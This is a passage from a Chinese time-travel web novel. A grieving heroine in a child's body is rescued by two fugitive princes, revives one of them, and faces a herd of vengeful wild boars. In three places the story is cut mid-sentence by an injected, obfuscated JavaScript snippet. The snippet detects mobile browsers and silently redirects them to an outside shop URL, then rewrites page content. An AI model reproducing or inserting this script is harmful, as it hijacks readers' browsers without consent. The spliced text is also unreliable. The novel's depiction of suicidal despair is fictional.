跃然痛呼出声,蜷缩抱头。勉强睁眼,天旋地转。还没等意识清醒过来,胃里的食物已经尽数翻腾着冲出喉咙。 旋即,一只手托住了她的后脑。一股平稳的气息经由手掌输入她的脑中,眩晕的感觉立刻平息了不少。当身体的不适慢慢退去,跃然张开了眼。 是他,那个少年。 跃然死死将眼睛闭起,再用力张开。 还是他。 为什么?为什么我没离开这个时空? 跃然心中全是不甘。 “可好些了?” 拓石轻声问道。他起身沾湿方巾,帮跃然擦去嘴边的污浊,仔细地将她吐出的污物处理干净,没有一丝嫌恶的神色。 跃然勉强张开眼。夕阳的余晖照进洞口,恰好给拓石脸部清雅的线条镀上了柔和的光晕。那是单属于少年的纯净美好,一如当年的沈煦。 “我知你会讲话。”他温和地继续说,“你昏睡时似乎在唤‘妈妈’。” 他不确定她口中呼唤的内容,凭记忆模仿着那个发音。 跃然沉默了。 拓石没有追问。他换了一块干净的方巾,小心地帮她擦拭额脸上的血痂。他的手指修长,指腹却不似面容那般细腻——偶尔不小心碰到她的皮肤,有粗粝的厚茧。 “我观你本有求生之志——你手指甲中有泥土和草木屑,是从山壁上挣扎过的痕迹。却为何已然生还,仍要求死呢?” 他的声音很轻,不像质问,倒像是在问自己。 跃然看着少年。他的眼瞳是深褐色,眼睛明亮有神,似乎里面藏着阳光、星辰,还有一些她读不懂的东西。 她想,无论自己如何选择,这句感谢应该让他知道。 “谢谢你。” 她真诚地说。 身在异世,能偶遇这份来自陌生人的温暖,她并非不动容。但这个时空似乎放大了她所有的痛苦——每一个相似的情景,每一缕相似的情绪,都会令那些深埋在心底的伤痛破土而出,如同猛兽在侧,随时有血盆大口对着她咆哮。 她只是倦了,累了,不想再忍受了。 难道这也有错吗? “我没有亲人了。”她张开干裂的唇,向善良的少年解释。 拓石沉默片刻。 “若在天有灵,他们一定在期盼你平安喜乐,而非自伤厌世。” 他没有责备,但言辞恳切。 跃然茫然地看着他明亮的双眼。 亲人,她之于他们,重要吗? 父亲的无情、母亲的轻生、丈夫的背叛——这些都是她的至亲。 然而,她重要吗?她在世间的存在,一直是可有可无的。 悲愤至极,跃然的眸中似乎有明丽的紫韵划过。 拓石愕然。 他默默凝视了她片刻,很快镇静下来。 “可冷?” 感觉到洞口吹来的冷风,他将披风为女孩儿拉起、盖严。动作很轻,指尖没有碰到她的皮肤。 跃然被这细微的举动触动了。 过去,这是沈煦常做的事情。她没有觉得反感,只是贪恋地闭上眼,安静地听拓石的声音。 “我与三弟,本有一胞妹,名唤拓夏,是曦宇尊贵的公主。” 他顿了顿。 “然而,为帮我这无用的王兄换取抑制毒性发作的绛珠,八岁的她被迫与瓦鲁和亲。” 拓石闭目,顿了顿。明日浊泉浸浴,灵宙尽去,他便再不是这曦宇大陆的熙坤王。天下、尊贵的身份,便都与他无关了。如今,自己王族的身份便不必再费力隐瞒。 跃然忍不住看向拓石,他俊朗的脸上线条紧绷。伴着幽淡的空气,似乎有一股暗暗的忧伤,缓缓地淌进她的心底。 “拓夏十分可爱,像只不知疲倦的青鸟,整日缠在三弟身后,甩也甩不掉。” “然而,出嫁上路的第十日,护卫的军队却独自返回,带回了‘公主薨于大漠’的消息。” “迎亲的瓦鲁将军称拓夏身染瘟疫,病死途中。为免疫情传播,将拓夏就地安葬了……” 拓石的呼吸变得急促。这痛殇的往事令体内的毒气也不安起来。 跃然轻轻坐起,望着他幽沉暗红的眼。 拓夏,是拓云的痛,也是拓石心中永远打不开的结。 要不是因为身上这毒—— 拓石痛苦地转过头,紧闭双目,不敢再想。稍微平复了情绪,他继续说: “那时,我正随父王在西托祭天。宫内三百里加急传信:‘公主薨,王后呕血昏迷,三王子失踪。’” “我和父王昼夜兼程三日,赶回王宫时,母后已然仙去。” “半个月以后,我们在大漠拓夏的墓旁找到了昏死的三弟。他怀中抱着拓夏的尸体……” 他的声音没有颤抖,但每一个字都像是从石头底下用力推出来的。 他挺直地坐着,双目望向洞口的天空,不让自己宣泄。他要承受——承受所有因他而殒命之人刺向他心口的每一刀。似乎这痛可以赎去他身为熙坤王的罪孽,更似这痛可以为逝者祈祝仙升。 跃然没有安慰他。他的隐忍倔强而尊贵。 她只是轻声问:“你叫什么?” 拓石深吸一口气,收回目光,对她微微一笑。 “你可以叫我——石哥哥。” “拓石?”跃然回想着拓夏的名字。 拓石赞赏地点头。 “莫再寻死。寿元天定匪可逆,亲人在傍岂可弃!你可知你之自轻会令亲者几多伤痛。活着,方知孝义之重,方享手足之情。” 他语气深切,似乎还透着王令。如若下令真的可以止她轻生之念,他愿意尝试。 “王——大哥,你看,我打来了这个。” 拓云从洞口跳进,手里拎着一只野猪崽。 “咦?你醒了?不可再寻短见!” 拓云学着老成的口气对跃然下达命令,那样子像个小大人。 “手足情深,真让人羡慕。”跃然轻叹,“我的生活已经没有可以寄托的人了。何苦再勉强偷生……” 她幽幽地合上了眼。 她已经不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632067|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨了——不怨沈煦,不怨余倩。他若能幸福,也算不辜负自己的成全。 只是生,对于自己,已经毫无意义了。 “我们可以做你的亲人啊!今后我和大哥便都是你的亲人!记住——我是你的云哥哥!” 跃然话还没说完,已经被拓云霸道地打断。他走到跃然面前,指着跃然的头说:“女孩子,头上有了疤怎么办?变成了丑八怪,还有哪个男人肯娶你为妻!” 小大人的样子,很是可爱。 跃然看着这个不经世事的男孩子。 他正在经历变声期。那么大的创痛,他是如何挺过来的呢?她不由得疼惜起眼前漂亮的男孩儿。 “你叫——拓云?云儿?” “云儿是你叫的?没大没小!你得叫我云哥哥!” 拓云急了,模仿拓石的口气。 跃然不禁笑了:“傻孩子,我差不多大你二十……” 话还没说完,只听到身后轰然一声—— 拓石的身体倒地。 “大哥——” 拓云扑向拓石紧绷的身体。跃然也吃力地爬到拓石身边。拓石正因强忍疼痛,豆大的汗珠颗颗滑落。 “让大哥调息!他……他一会儿就……就没事了。” 拓云强自镇定,扶着拓石勉强坐成打坐的姿势。他的声音在发抖,他的手也在抖。 跃然的心像是被什么揪起,僵直地跪坐着。 “之前也是这样吗?”她问。 “上次大哥调息后便好了啊……” 说话间,拓石已经失去意识,再次颓然倒地。 跃然心里焦急,眉目间又有紫韵流转。拓云转头恰好望见,顿觉满心疑惧慌乱。 这个女孩儿,怎么会有紫瞳? 真的该救吗? 若不为救她,王兄的内力抑制毒性应无大碍,怎么会这么快毒发? “你……你莫要再碰我大哥!” 拓云用力推开跃然。 “一定是因为你!” 无处宣泄的恐惧,他愤愤地发泄给跃然,声音却越来越碎,越来越哑。 “大哥都把最后一颗绛珠给你了,你仍要寻死……大哥原本就不能妄动真气,可是你,你撞树求死——大哥,大哥若不是救你,就不会……就不会耗损……他……他原本可以度过毒发的,原本……” 小拓云越说越急,越说越委屈,最后泣不成声。 跃然明白了。 两次生还,都是拓石舍命相救。他是为了拓云吧——为了救活她这条烂命,给小小的拓云一个妹妹,一个安慰。 拓石,你这又是何苦呢? “我该怎么办?” 跃然颓然无助。 曾经,她可以绝然赴死。那是因为生命是自己的,与别人无关。她死,不必对任何人负责,也不会有几个人难过。 但是现在—— 面对这个为了救自己而命垂一线的拓石,面对把自己当做了失而复得妹妹的拓云,跃然愧疚了。那种愧疚不是被人劝说的结果,而是一种沉甸甸的东西,压在她胸口,让她喘不过气。 她的命,已经不是她一个人的了。 跃然不顾拓云的厮打,挣扎着去查看拓石的情况。 此时的拓石脸色紫青,双唇甚至有些发黑。 她忙用手指探到拓石的鼻尖。 他居然,已经没有了鼻息。 4. 救回拓石 一个人,出生了,这就不再是一个可以辩论的问题,而只是上帝交给他的一个事实;上帝在交给我们这件事实的时候,已经顺便保证了它的结果,所以死是一件不必急于求成的事,死是一个必然会降临的节日。 ——史铁生 几乎是下意识地,跃然立即双手用力按压拓石的胸口。 双手都有被石崖划伤留下的深深浅浅的伤口,之前拓石用布条帮她包扎过,此时稍一用力,钻心地疼,血很快就渗透出来,在拓石胸口留下一个血印,像一朵绽放的曼陀罗花。 “你做什么?”拓云愤怒地去扯跃然的手臂。 “你……”跃然身体已经极近虚垮的边缘,拓云的力道将她甩坐在地。 “你哥没气了,你再阻拦,他就没救了!” 跃然厉喝,这突生出的凌厉霎时镇住了拓云。他愣住了,忘了反应。 “你,双手交叉,像我这样用力压这里!快!” 跃然指着拓石的胸口。此时,只有借助拓云做最后的尝试了。 “用力!再来!”跃然从这个小身体里发出的声音,清清脆脆的,气势却那么笃定迫人。 拓云按吩咐压了几次,但似乎并不得法,仍然没破开拓石郁结的一口气。 跃然急了,推开拓云,双手叠放在拓石胸口增加受力面,对拓云喊: “砸!砸我的手!用你最大的力气!砸!砸!砸!……” “砰!砰!砰!……”拓云为了救哥哥,使出了蛮劲。 跃然的手从剧痛,到麻木最后失去了知觉。 “呃……” 砸到第十一次的时候,拓石一声闷哼,一口气终于舒放出来。瞬间,他身体由紧绷到瘫软,汗水浸湿了外衫。 见拓石好转,跃然和拓云双双松了一口气。跃然仰面躺倒在地,大口大口喘着粗气,双手不断颤抖流血,但她似乎已经忘记了疼痛。 “扑通、扑通、扑通……”她听到自己心脏剧烈地跳动,全身血液一齐向头上冲。第一次,她这样真切地感受到生命的存在。 “你为什么要救他?”又是那道声音,和着跃然的心跳升腾而起。 “他那么年轻,那么善良,他不应该就这么死了。”跃然闭上眼,默默回答。 “嗯。”那声音的回应居然只有这简短的一声。 “年轻如你,善良如你。”跃然几乎可以想象那声音下面该说怎样的话,她便可以继续辩论自己为什么选择死亡。 然而,那声音戛然而止,不但没办法抒发,反而让跃然第一次挽救回一条生命的兴奋与成就感都被就此压抑住。 她睁开眼四处寻找,却看到趴在拓石身边的拓云。 “大哥,你……怎么样?”拓云紧张地看着拓石。 拓石缓缓睁开眼睛,微微扯动嘴角,露出笑意,示意拓云自己已经好转,不必担心。 “他需要休息,恐怕现在还不能说话。”跃然轻声说。 “你怎么会救我大哥的方法?” 拓云终于从紧张焦虑中回过神来,自己居然被一个比自己矮一头的小丫头指挥着,而且小丫头的方法居然还奏效了,拓云心里的异样感觉让他咄咄逼人起来。 她怎么懂救大哥的方法?是下毒的人?还是害拓夏的人? 当年,癫族长老癫叟说过,大哥的毒,当今世上只有两法可解。一是颠叟与亲生弟弟癫童交融的智血,二是下毒人施药解咒。而癫童出外云游九年才现身一次,且巅族必定白发紫瞳。 “你到底是什么人?” 拓云的语气变得冰冷,双眼死死盯住跃然此刻越来越清透的紫瞳。他记起在跃然撞树后的瞬间,原本的墨瞳居然闪烁出紫韵,如今紫韵已见流光。 跃然没有说话,看着拓云的眼神,心头涌上无尽的伤感。 那自卫的眼神,那决绝的神情,那么熟悉,一如年幼时的自己。 妈妈死后,她那段自我封闭的日子,哪怕是相依为命的姥姥,也只是换得她的顺从而非亲近。 连自己的亲生父亲都变得那么陌生,这世上,还有谁可以信任? 要不是沈煦的出现,她可能…… 然而,如今,连沈煦也背叛她了。 “谁?谁派你来的?我与王兄行踪隐秘,你们是从何得知?!” 跃然的沉默激怒了拓云,他上前抓起跃然的衣服把她逼至穴壁。 “拓云,不要这样。”跃然心疼地伸手想去抚摸拓云的头。 “别碰我!”拓云冷冷地吼。 “妖女!都是你!都是你大哥才会这样!你说,你到底是谁?为何你的眼睛会变成紫色? 怨谁呢?若不是自己可怜这女孩子,大哥怎会为了救她而险些丧命?若不是轻信了父王的劝说,一年前,他死缠着花轿也不会让拓夏出嫁,眼睁睁看着唯一的妹妹惨死大漠! 拓云恨恨地盯着跃然的眼睛,似乎要把积蓄在心底的怒气全部发泄出来。 “三弟……” 看着弟弟疯狂失控的样子,拓石挣扎着想要起身,却没有一丝力气,甚至,连阻止拓云的声音都被空气吸去。 他知道,拓云是刚刚被吓坏了才会如此过激。如果自己死了,拓云在世上还有可以信任的人吗? 父王?他心底涌上一丝冷笑。 二弟?他那冷漠的性子! 只有自己吧,才可以让拓云不受到伤害。 “拓云,莫要伤她!伤她,只会加倍折磨你自己……”关切地望着那娇小的女孩儿,拓石在心里祈求。 跃然无奈地笑笑,却并不觉得气恼。被记忆揪扯着,又经历了几番生死,她已经身心俱疲。能解释什么呢?难道和一个十几岁的孩子解释穿越?解释心脏复苏?也罢! 救回拓石,她已经无所亏欠。此时离开,她可以“处置”了这个身体。这场穿越的闹剧也该结束了!刚刚涌起的生命热度,突然就如被熄灭的篝火,她明白了心灰意冷的真实情境。 “恐怕这一切都不重要了。既然你已经认定我是你的敌人,我离开就是。” 跃然心里很凉,很凉。又一次,她选择逃避。 她费力地抬高手臂,想要拨开拓云的禁锢。已然红肿的双手,无力地垂着,犹如废肢。 拓云看到跃然的手,心猛然一痛,头脑也冷静了一些。 一时不知如何反应,他木讷地放开手,看着跃然踉跄地走出洞口。 “你别走!” 拓云看着即将消失的跃然的背影,一耸身跳到跃然身后死死抓住她。 “不说清楚你的身份,绝不能走!” 让她走不是很好吗? 在这个潜逃的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632068|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,难道真的要留一个身份不明的人在身边? 或者,若有心挽留,他可以承认自己刚才冲动了,委屈了她,让她原谅自己。 但是,倔强的拓云偏揪出来这么个借口不肯放松。 “你现在是我的囚犯!跟我回去!”拓云有些粗鲁地将跃然甩回洞穴。 他没时间斟酌,没时间后悔,只是固执地想用自己都已经不相信的理由留住跃然,留住“妹妹”。 跃然重重地摔倒在地,原本就只是强撑着走了几步,如今……鼻子发酸,两行泪毫无征兆地从眼角滑出,越流越快。她哭了,像突然别扭起来的拓云,她终于可以哭得像个的孩子。 听到动静,拓石想挣扎着起身,然而一阵晕眩,他昏睡了过去。 拓云站在洞口看着哭泣的跃然,她的身体在岩壁下蜷成一团,那么受伤,那么无助。 “我……”拓云站在洞口,尴尬窘迫害怕愧疚,所有的情绪纠结在一起,大吼了一声,竟然也抬起袖子抹起了眼泪。还说想要闯荡江湖,可是离开王城才几天,王兄命在旦夕,盘缠所剩无几,救下的小女孩儿也被自己欺负哭了。第一次,拓云发现,自己到底还是太弱小了。 跃然哭着哭着渐渐没有了抽泣声,拓云走过去看,她竟是睡着了,浅浅的呼吸,偶尔并不顺畅地急喘两下,鼻头红红的,皮肤白嫩得近乎透明。 拓云抹了抹自己挂着泪花的眼睛,捡起地上小野猪,自顾自去处理。现在,他是唯一健康强壮的一个,他必须担起照顾他们的责任了他努力回忆着拓石处理野味的样子,但猪毛仍然处理得不太干净烦躁之际,瞥见跃然红肿还在往外渗着血的手,拓云接着石壁上不断低落的水珠净了手,从怀里掏出随身的瓷瓶,走到跃然身边,捧起了她受伤的手,小心翼翼地撕开布条,帮跃然给手上的伤口上药。 跃然眼皮动了动,她醒了,但她不想睁开眼睛。 上完药,学着王兄的样子从自己里衣的内摆上撤下布条,帮跃然将双手包扎好,拓云这时才又捡起小野猪,处理掉剩余的皮毛,升起火堆,用树杈做好支架,打算“烤全猪”。 “你哥现在的身体状况,最好是喝肉汤。”跃然看着小家伙自顾自地忙活,心里终究有一丝不忍。在现代,这毕竟只是个小学五六年级的孩子啊 听到跃然的话,拓云有一瞬间的惊喜,“可是,我只会这个……”拓云转头看她,像是一对冰释前嫌的小伙伴,虽然语气还是有几分别扭,但心里已经坦然。 跃然环视了一下洞穴,她记忆中拓云喂过她米汤,那么做米汤的容器是什么?终于,在洞穴一角,跃然看到一只端口有些破损的瓦罐。 见跃然眼睛停留在瓦罐上,拓云走过去,拿起瓦罐,很有些尴尬地对跃然说:“之前哥哥用它煮米汤,可是我……” “把米汤倒干吧。野猪去头,切成块放进去,加水,水盖过猪肉。”跃然的声音很轻。 如果她刚才真的走了,会怎样?跃然不敢想象。一个不懂照顾病人,只会做野外“烧烤”的弟弟,一个虚弱得陷入昏睡的哥哥。跃然,你怎么忍心?你一条命丢掉不要紧,却要舍命相救的善良人双双陪葬吗? 那么,在确保兄弟二人安全离开前,让她也该尽些义务吧!也许,正如史铁生所说,“死并不是一件急于求成的事”,跃然在心底默默地想。 5. 拓石身份 我们必须奉献于生命,才能获得生命。 ——泰戈尔《飞鸟集》 “你?……好!” 拓云按下心里的不耐,吞掉所有的疑问,一刻钟功夫,他已经按照吩咐端着盛好肉和水的瓦罐回来。 “然后呢?” “你身上有盐吗?”跃然猜想,在这个不知名的古代想要凑齐炖肉的调料可能很难,但是盐总应该是有的。 “‘盐’是……?”拓云蹙着眉,在脑子里没有找到对应的物件,在想会不会是贫民的什么物件。 “能让菜变得好吃的东西。嗯,味道和你的汗水差不多。”跃然尽全力解释。 “哦,你是说‘年’?这个?” 跃然接过一个灰白色镶金边的竹筒,打开木塞尝了尝,正是粗盐。 “‘年’?好吧。就是这个。” 跃然想把它理解成一种方言。她不太清楚自己所在的地方是什么时空,语言总是和生前的时空契合,然而具体东西的说法却不尽相同。 跃然伸手倒出一小撮粗盐放入瓦罐中,抬头对拓云说:“用那块薄石头盖一下,放在那个支架上。” 洞口已经有一个架锅的支架在那里,许是之前拓石熬粥时做的。 “火堆的火小一点,再小一点……嗯,好了。等等就可以了。”跃然耐心地指挥着小拓云做好每一个步骤,她希望这样拓云可以记住炖菜的方法。野外生存跃然没有专门学习过,但是在农村长到十五岁才进城的她,生火做饭早就不在话下。 拓云见跃然对他的态度亲近温和,走过去坐在跃然身边。 “你叫什么?这……可否告知?”他学着拓石的样子,端出庄重的神态,却又紧张地盯着跃然的眼睛。 “跃然。我叫跃然。” 跃然一边回答,一边看着拓云额前的微汗。 “你大哥是中毒了吗?” 拓云被盯得不自在,垂下眼去抓地上的枯叶,像是在做激烈的思想斗争。最后轻轻说:“是一种奇毒。哥哥十三岁生辰那天中了这种毒。三年来无人能解。” 又是王室的斗争吧,跃然默默想。“你哥哥是国王还是储君?”跃然对这老掉牙的戏码已经厌倦至极。她不明白明明是高处不胜寒,为什么偏有那么多人看不清,偏要苦苦争夺。 “储君是什么?”拓云双眼疑惑。 “就是将来可以继承王位的人。” “你怎么知道我大哥是熙坤王?”拓云瞬间迸发的警觉如同条件反射。 “我昏迷的时候听你喊他王兄。”跃然淡淡地回答。 “是我疏忽。”拓云很是自责。跃然言语行动怪异让拓云有太多疑问在心里翻覆。但刚才失控对她的愧疚,让他暗暗下了决心不要再怀疑她。 “我不是你们的敌人,也永远不会伤害你们。你放心。” 跃然只有给这个孩子一个贴心的保证。只是一个过客,除了报答兄弟二人的善良,在这个陌生的时空,她什么也不愿参与,她已然有了决定。 “真的吗?你对‘得’发誓。”拓云一边说,一边从腰间的束袋里拿出一个和盐筒相似的竹筒。 “‘得’是什么?” 跃然觉得这里的称呼很有意思。之前的‘年’是盐,那么‘得’呢?“可以吃的吗?”她一边问一边看向竹筒里的白色颗粒。 “当然。这是最好吃的东西。” 拓云对眼前这个小姑娘无可奈何,莫非她是下凡仙子?怎么会连“得”都不知?不能。仙子怎会被人欺负呢。他倒出一小把送到跃然唇边。 跃然尝了一点儿,“这就是糖啊。为什么对它发誓?” “先师云:‘得’乃生之馈赠。失信则无‘得’而恶苦终生。”拓云说起这句话,有板有眼,双手不由自主地将竹筒托高了些,仿佛那不是糖,是一筒经文。 “呵呵,好,我对‘得’发誓。嗯……永远不伤害你们。可以吗?”一边说,跃然一边将手中剩余的砂糖顺着瓦罐的豁口倒入罐中。 “好。”拓云如释重负的神情和六七岁的孩子无异。 “既然你已对得发誓,我不妨告诉你。”拓云语气庄重,“我王兄本是命定的我曦宇国的熙坤王,出生时便有灵宙护佑,历来的熙坤王均是王位的唯一继承人。父王本欲在王兄十六岁寿辰之时将王位传与他。” 跃然一边听,一边用袖口帮拓石沾去额上的微汗。放下手臂时,她自己竟然都有些意外。她想照顾拓云,像偶尔帮值夜班的邻居嫂子接三年级的孩子回家,顺便做饭给孩子吃……曾几何时,她也是想给沈煦生个孩子的。 “但是王兄自十三岁中毒以来,每月只能以瓦鲁国进献的绛珠控制毒性。且每批绛珠,都必以安达族少女心血供养四十九日后方可服用。为此献身的少女已有七十八人。” 还用心头血,什么故弄玄虚的方子,真是迷信愚昧的古代人。跃然不禁腹诽。 但她的目光不自觉地落在拓石苍白的脸上。这个人,是吃着七十八个少女的心头血活下来的。他知道。他一定知道。他每一次吞下绛珠,咽下去的不是药,是七十八条命。 她把碗里的肉汤搅了搅,忽然有点咽不下去了。 “绛珠,就是你大哥之前给我吃的药粒?” “嗯。正是。” 拓云微微一顿,眼前浮现拓夏可爱的笑脸,他用力抿了抿嘴。 “我王兄不忍再有人为他殒命,决意将王位让渡给二王兄,外出求医,但父皇一直不允。下个月就是我王兄十六岁寿辰了,所以我们才不得已潜逃出宫。但求寻访到癫族长老,解了我王兄奇毒之苦。我们今后也好在民间做对平凡兄弟。” 十六岁。跃然算了算。在现代,这个年纪的孩子刚上高中,最大的烦恼是月考和暗恋。而这个人,已经咽下了七十八条人命,决定放弃一个王国。 做平凡兄弟,对王世子孙而言,恐怕是最大逆不道的事情了。兄弟两人的豁达和勇气,让跃然佩服。 拓石的毒,一定隐藏着王室家族很多内部的争斗。跃然不愿深问。目前,她关心的只是怎么能让拓石快点康复。 没有绛珠,拓石似乎已经熬过一劫。但是真气耗损太多,他的毒又会反复。跃然不是学医的,这神神秘秘的毒她必然不知道怎么解。从跃然对武侠小说的了解,之前拓石一定是调息时气息紊乱而导致郁结,但是更深的东西是什么?跃然用手肘蹭蹭头,实在是想不出来了。 “真香啊。” 瓦罐内飘出浓郁的香气温暖着整个洞穴,拓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632069|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云已经忍不住走到瓦罐旁边,掀开了上面的薄石。 “还要等一会儿,没那么快熟。” 跃然随后走过去,却见瓦罐内肉已经脱骨欲化。 “这么快?太神奇了。可以吃了。”跃然拍拍拓云的胳膊。 “你们真是神奇的种族。药涂上片刻功夫伤就能好,肉炖上不用半个小时就能烂。”跃然看着自己已经愈合很多的伤口,称赞这里的神奇。 “你才是神秘的人呢。‘半个小时’是什么?我可没在肉里放石子啊。伤好的如此之快,或许因你是紫瞳之故,我给你擦的又不是灵药。”拓云撇嘴。 “紫瞳?”跃然疑惑了。 “你是天上第一次下凡的神仙不成?世人皆知,在蔚魄大陆,只有白发紫瞳的癫族才具备强大的自生能力。” 拓云仔细端详着跃然的脸。 救大哥时,她额头包扎伤口的方巾已掉落。而她之前轻生被树枝撞破的额头,伤口血肉已经长成厚痂。 紫瞳显现以后,她伤口的恢复速度是常人的数倍。 “而你,虽然是黑发紫瞳,也必然会有某种能力吧。” “说来奇怪,我救你时,你是黑瞳的。上次寻死后,你的双目才变为紫色。而且癫族如今也只有癫叟和癫童兄弟二人尚且存活于世了。你又是什么宗族呢?”拓云也被自己的分析弄糊涂了。 跃然不以为意地一笑,紫瞳就有什么关系吗? 她生前的身体,锁骨处还有一块蝶形的紫蓝相间的胎记呢,妈妈说是她两岁时才显现的。从小还有邻居以为她为了臭美去纹了身。但这样又如何?并没有改善她孤苦的命运。何况,这身体又不是她的,她的原主是什么身份对她而言毫无意义。 “你先吃,我给你大哥喂些肉汤。” 跃然捡起地上的素陶碗和泥勺。 “我来。”拓云想抢过来。 “等你的肚子不咕噜咕噜叫的时候,我就让给你。况且,我不喜欢吃肉。”跃然带着笑意说。 拓云不好意思地低下头,双手捂住不停叫嚣的肚子。 “那你要先喝一碗肉汤我才准。” “好。”跃然不再拒绝。 如果想保持体力照顾他们,喝肉汤是她最好的选择。尽管汤里的油腥让她反胃,但她还是闭着眼勉强一饮而尽了。 对这肉汤,她似乎并不像生前那般排斥了。汤味很淡,却很香醇,并不显出怎样的油腻,正好适合调养身体。 “现在可以了。” 拓云满意地给跃然又盛了一碗,自己席地而坐用树枝打捞瓦罐中还未消融的猪肉。 跃然笑笑,果然还是孩子。帮拓云调旺火堆,端着汤,跃然走到拓石身边。 拓石双眉紧锁着,不断有虚汗滑下。 跃然用食指探开他有些苍白的唇,将汤一勺一勺喂入他口中。 一碗汤将尽的时候,却听见洞外两声惨烈的嘶吼。 大地似乎都在震动了。洞口原本已经落叶过半的枫树上,红彤彤的枫叶急速飘落。跃然后背一紧。那叫声不是在远处,是在洞口。很近。近得她能听见吼声落下去之后,枫树上的叶子还在簌簌地掉。 那叫声,正是野猪。 不是一只。是两只。 6. 野猪“寻仇” 生命因“世界”对它的要求,而造就了它的价值——它通过服务世界而获得意义,通过为世界牺牲而获得价值。 ——泰戈尔 跃然慌乱地看向正埋头大吃的拓云,他油油的小嘴上异常红润。放下一块骨肉,他也抬起头迷惑地看向洞口。 跃然下意识地拉起拓石身上的披风。若真有危险,拓石是最需要保护的人。 嘶吼声越来越近,且速度极快。没等跃然回过神来,洞口已经先后有两只野猪奔冲而至。它们甚至没有任何迟疑,直奔瓦罐旁的拓云冲去。 “拓云,回来!”跃然扑向拓云,一把将他推向拓石的方向。 拓云本能地捡起一段燃火的粗树枝,向第一只野猪头部砸了过去。火星四溅。第一只野猪偏头闪避,第二只因为速度过快来不及停步,一头撞在它身上。 洞外的嘶吼声一声接一声响起。跃然全身的汗毛都竖了起来——又有野猪从树丛中冲出。三只,四只,越来越多。灰黑色的身影在枫树林中攒动,鬃毛竖起,獠牙雪亮。它们没有立刻冲进来,只是堵在洞口,发出一声声低沉的咆哮。 跃然疾步退至拓云和拓石身前。拓云急急地去抓包袱里的流云刀。 “别动。”跃然按住他的手,声音压得极低,“你越亮刀,它们越要冲你。” 拓云的手僵在半空。他的嘴唇在发抖,但没有违拗。 两只受伤的野猪挣扎着从地上爬起,重新面向三人,前蹄刨地。跃然下意识张开双臂,将拓云和拓石挡在自己身后。他们不能有事。她心中只剩下这一个念头。 那一刻,时间仿佛被无限拉长。跃然能听到自己心脏猛烈撞击胸腔的声音——扑通,扑通——每一下都震得她微微发晕。她双目大睁,死死盯住那两只即将扑来的野猪,瞳孔中映出它们急速放大的身影。 然而,就在野猪撞上她的前一秒,它们齐齐转向。 巨大的冲力使它们的身体重重撞在对侧的岩壁上。几处突起的锐石深深刺入野猪的皮肉,发出沉闷的撕裂声。两只野猪同时发出刺耳的惨叫。 洞口的野猪群一阵骚动,却没有一只再往里冲。 “姑娘……三弟……”拓石用尽全身力气挣扎着坐起。跃然的呼叫让他心惊,瞬间苏醒。 “大哥——”拓云转身扑进已经半坐起的拓石怀中,唇色青白。 跃然转头看向拓石,点了点头,瘫坐在原地没动。她大口喘着气,胸口剧烈起伏。黑红粘稠的血从两只野猪身上汩汩流出,它们低哼着趴在地上,却齐齐望向她——望向她那双在昏暗中隐隐泛着紫华的双眼。 跃然愣住了。那两头野猪的眼神,不是愤怒。是受伤。是一种她读得懂的、孩子被夺走之后无处安放的疼痛。其中那只母野猪的眼角,正有晶莹的液体滑落。 “三弟。”拓石的声音很轻,却带着一种跃然从未听过的严肃,“你的野猪,打于何处?” “我……我本想打一只野兔。”拓云从他怀中抬起头,声音碎成一片一片,“顺着野兔的踪迹,看见一只小野猪。它自己撞向一棵槐树,就……就晕了。我上去一刀刺死了它。” 拓石沉默了片刻。 “那并非一般野味。”他说,“那是这群野猪的胎神。” 拓云愣住了。 “胎神五百年循化一次。循化后便能修身成人,脱离畜生道。”拓石的语气没有责备,却每一个字都很沉,“此次循化时,它必定受到异物冲撞才会狂性大发而撞树。” 他的目光掠过弟弟茫然的脸,落在洞穴深处那堆残骨上。那些骨头已经凉了。他忽然不再说下去。 “大哥……”拓云攥紧拓石的衣袖,“你说清楚,胎神被……被我吃了,会怎样?” 拓石没有立刻回答。洞口的野猪群发出一阵低沉的呜咽,像风穿过山谷。 “胎神被熬煮,”他终于开口,声音比刚才更轻,“精养便破髓入汤。虽能增进你我元气,但此山中的豕群,三日内——必将灭绝。所以它们才来。不是为逞凶,是为讨债。” 拓云的脸色刷地白了。他望向洞外那一双双在暮色中闪烁的眼睛,嘴巴张了张,却一个字都吐不出来。 拓石缓缓转头,看向跃然。 “至于你,姑娘——”他顿了顿,似乎在斟酌措辞,又似乎连他自己都不敢完全相信自己要说的话,“刚才那两头野猪宁可自损,也没有伤你半分。洞外的豕群明明可以一拥而上,却只在洞口徘徊。它们不是怕我们。它们是在看你。” 跃然浑身一震。 